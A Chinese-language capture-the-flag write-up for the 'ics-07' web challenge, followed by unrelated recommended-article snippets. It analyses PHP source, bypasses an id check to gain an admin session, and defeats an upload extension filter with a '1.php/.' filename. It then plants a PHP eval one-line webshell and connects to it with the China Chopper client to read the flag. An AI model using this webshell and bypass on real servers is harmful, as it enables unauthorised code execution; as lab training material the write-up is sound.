Web(ics-07)
题目描述:工控云管理系统项目管理页面解析漏洞
查看view-source下三段代码
<?phpsession_start();if (!isset($_GET[page])) {show_source(__FILE__);die();}if (isset($_GET[page]) && $_GET[page] != 'index.php') {include('flag.php');}else {header('Location: ?page=flag.php');}?>
存在page参数并且page不等于index.php,才包含flag.php
<?phpif ($_SESSION['admin']) {$con = $_POST['con'];$file = $_POST['file'];$filename = "backup/".$file;if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){die("Bad file extension");}else{chdir('uploaded');$f = fopen($filename, 'w');fwrite($f, $con);fclose($f);}}?>
session的用户须为admin,$filename="backup/".$file表示上传文件时的路径在backup后面,con是向file中写入文件内容(想到了文件上传),preg_match对后缀进行了过滤,过滤的后缀的是.php3,.php4,.php4,php5,.php7,.t,.tml其中并不会区分大小写。chdir()函数切换了路径。
<?phpif (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {include 'config.php';$id = mysql_real_escape_string($_GET[id]);$sql="select * from cetc007.user where id='$id'";$result = mysql_query($sql);$result = mysql_fetch_object($result);} else {$result = False;die();}if(!$result)die("<br >something wae wrong ! <br>");if($result){echo "id: ".$result->id."</br>";echo "name:".$result->user."</br>";$_SESSION['admin'] = True;}?>
floatval ()函数用于获取变量的浮点值。doubleval 是 floatval 的别名。
substr() 函数返回字符串的一部分。代码中的意思为字符串最后一位9
页面代码分析完毕,整合思考,
从而构造payload: ?page=flag.php&id=1-9&submit
(1)文件上传构造的payload:
con=<?php @eval($_POST['123']);?>&file=1.php/.一句话木马
(2)通过火狐浏览器的hackbar上传到服务器端。
(3)查看靶机的上传文件页面可以看到文件上传成功。
(4)用菜刀连接一句话菜刀,填写1.php所在地址以及添加密码。
(5) 成功获取靶机的webshell,进而查看flag.php的flag值。
Web(ics-07)相关推荐
- web前端 (07)CSS 03+盒模型+定位
目录 盒模型 (框模型) ***** 内边距 padding *** 外边距 margin *** 列表样式 * 鼠标形状 *** 定位 *****默认定位(static定位) *****如何修改 默 ...
- 【web素材】07—仿京东,小米,锤子,华为等20+套商城网站模板
素材整理 | 杨小爱 在之前,我跟大家分享过很多web素材的学习资源,我做这个栏目的目的,就是希望我们可以通过看别人的项目代码,然后去比较自己的代码,这些素材资源,也是我自己在做项目的时候,收集整理积 ...
- 机器视觉开源处理库汇总
从cvchina搞到的机器视觉开源处理库汇总,转来了,很给力,还在不断更新... 通用库/General Library OpenCV 无需多言. RAVL Recognition And Visio ...
- 一些能说到点子上的课程
ROS https://web.ics.purdue.edu/~rvoyles/Classes/ROSprogramming/ http://wiki.ros.org/rviz/UserGuide ...
- 济南python工资一般多少钱-济南Python+人工智能
"无所不能"的编程语言 多领域选择语言 未来大有可为 北京python培训python开发培训班北京python培训北京python培训北京python培训机构北京python培训 ...
- resin指定java版本_resin的几个常用配置
本文着重介绍resin的几个常用配置 注: 1. 本文并非resin.conf的使用说明,只是从实用角度出发,按需分析常用的配置.更多的内容到官网学习吧: 2. 基于resin3.x的探讨. (友情提 ...
- 高性能计算机的基准测试程序包括,QX∕T 148-2020 气象领域高性能计算机系统测试与评估规范(可复制版)(40页)-原创力文档...
ICS 07. 060 A 47 中华人民共和国气象行业标准 QX/T 148-2020 代替 QX斤 1 48-201 I 气象领域高性能计算机系统 测试与评估规范 Specification fo ...
- 济南python工资一般多少-济南Python+人工智能
"无所不能"的编程语言 多领域选择语言 未来大有可为 北京python培训python开发培训班北京python培训北京python培训北京python培训机构北京python培训 ...
- 高标准农田建设通则2014
ICS 07.040 A 76 中华人民共和国国家标准 GB/T 30600-2014 高标准农田建设通则 Well-facilitated farmland construction-General ...
- python26章_44G-26章节Python盖世修炼最新实战 全新升级版Python全栈架构师高级课程 从零实战...
44G-26章节Python盖世修炼最新实战 全新升级版Python全栈架构师高级课程 从零实战 ===============课程目录=============== 课程目录过长,下面只列出了章节目 ...
最新文章
- ajax post请求,后台servlet来接收
- gcc build a project
- 【Linux】42.Ubuntu 18.04笔记本电脑关闭盖子无法唤醒问题解决
- android 评论输入框(PopupWindow)
- (5) nginx:location
- Azure Sentinel -- 云原生企业安全信息和事件管理平台(SIEM)初探系列一
- 贾跃亭债务小组:美法院支持贾跃亭个人破产重组继续进行
- java中使用nextLine(); 没有输入就自动跳过的问题?
- React-引入图片的方法
- C#/winform 旅游管理信息系统
- Python排序算法(四)——插入排序
- 假设检验1——理论基础
- 抖音自媒体平台上最容易上热门的7大领域,你知道吗?
- Linux命令行与shell脚本(17)--正则表达式
- 【微信小程序】组件之页面布局
- SQL SERVER 服务器名称的更改
- 钉钉群机器人开发接口
- 时间序列模型:AR、MA和ARMA
- 【推荐架构day5】今日头条算法的基本原理
- 【雷达通信】基于matlab GUI相控阵雷达方向图【含Matlab源码 1048期】
热门文章
- linux c语言lzma,LZMA 算法简介
- 思维模型:建立高品质思维的30种模型
- C# WinForm GUI之WinForm基础
- !include: could not find: “nsProcessW.nsh“
- 应用计算机测定线性电阻伏安特性实验器材,实验一电路元件伏安特性的测试
- Java基础知识(一) 基本概念
- 你还在以为打马赛克就安全了吗?AI消除马赛克,GitHub开源项目上线三天收获近7000星
- Python爬虫-02 request模块爬取妹子图网站
- Python学习:python数组模块用法
- 文件上传绕过安全狗WAF实战